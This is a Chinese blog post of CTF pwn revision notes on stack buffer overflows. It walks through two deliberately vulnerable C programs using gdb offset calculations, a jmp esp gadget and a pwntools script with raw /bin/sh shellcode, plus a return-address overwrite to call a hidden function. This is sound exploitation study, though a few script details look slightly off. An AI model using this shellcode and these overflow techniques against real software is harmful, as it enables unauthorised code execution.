pwn 暑假复习一

根据ctfwiki的顺序来复习

例一:test

#include <stdio.h>  
#include <string.h>  
      
void SayHello(char* name)  
{  
        char tmpName[60];  
      
        // buffer overflow  
        strcpy(tmpName, name);  
      
        printf("Hello %s\n", tmpName);  
}  
      
int main(int argc, char** argv)  
{  
        if (argc != 2) {  
            printf("Usage: hello <name>.\n");  
            return 1;  
        }  
      
        SayHello(argv[1]);  
        return 0;  

}

g++ 1.cpp -g -o testlinux -zexecstack -fno-stack-protector编译成可执行文件,关闭了各种保护

gdb调试,先在main函数处下断,然后run (r`python -c 'print "a"*100'`),将python的输出作为参数传递给程序运行起来

然后ni 到call sayhello  ,进入函数之后先记录一下esp,因为这是函数的返回地址(esp 0xffffd1dc)


然后一直ni,知道执行完strcpy。


然后x/40xw $esp 查看栈中情况,或者x/40xw tmpName 可看出0xffffd1dc的地方已被我输入的a覆盖,


所以计算一下需要覆盖的长度0xffffd1dc-0xffffd194=72.

我们可以执行的shellcode的长度为72,我们就用execve("/bin/sh",null,null)

寻找可用gadget  这里需要esp跳转到shellcode处,

我在libc找一个jmp esp,命令是 asmsearch "jmp esp" libc

0xf7f3ed0f : (ffe4)    jmp    esp        找到跳板

所以构造payload

payload=72个a|jumesp|shellcode

脚本为

from pwn import *

shellcode="\xb0\x46\x31\xdb\x31\xc9\xcd\x80\x68\x90\x90\x90\x68\x5b\xc1\xeb\x10\xc1\xeb\x08\x53\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc0\xb0\x0b\xcd\x80\xb0\x01\xb3\x01\xcd\x80"

input="a"*72

jmpesp="0xf7f3ed0f"

re=input+p32(jmpesp)+shellcode

print re

将此脚本的输出作为参数传入

r`python linuxtest.py`

例二:test

#include <stdio.h>
#include <string.h>
void success() { puts("You Hava already controlled it."); }
void vulnerable() {
  char s[12];
  gets(s);
  puts(s);
  return;
}
int main(int argc, char **argv) {
  vulnerable();
  return 0;

}

要让程序执行success函数,就得覆盖vulnerable函数的返回地址为success的函数地址

gdb调试,查看success函数的地址


disas success可查看success函数的地址为0x08048404

计算我们输入的字符串到ebp的距离

pattern create 150然后run,

然后pattern offset $ebp,可算出与ebp距离20


payload = 'a'*24+p32(success地址)


碎碎念

论复习的重要性,复习才知道自己有多菜,学会的东西过段时间就忘啦,还是要多加练习,好好学习吧


猜你喜欢

转载自blog.csdn.net/qq_38783875/article/details/81029813
pwn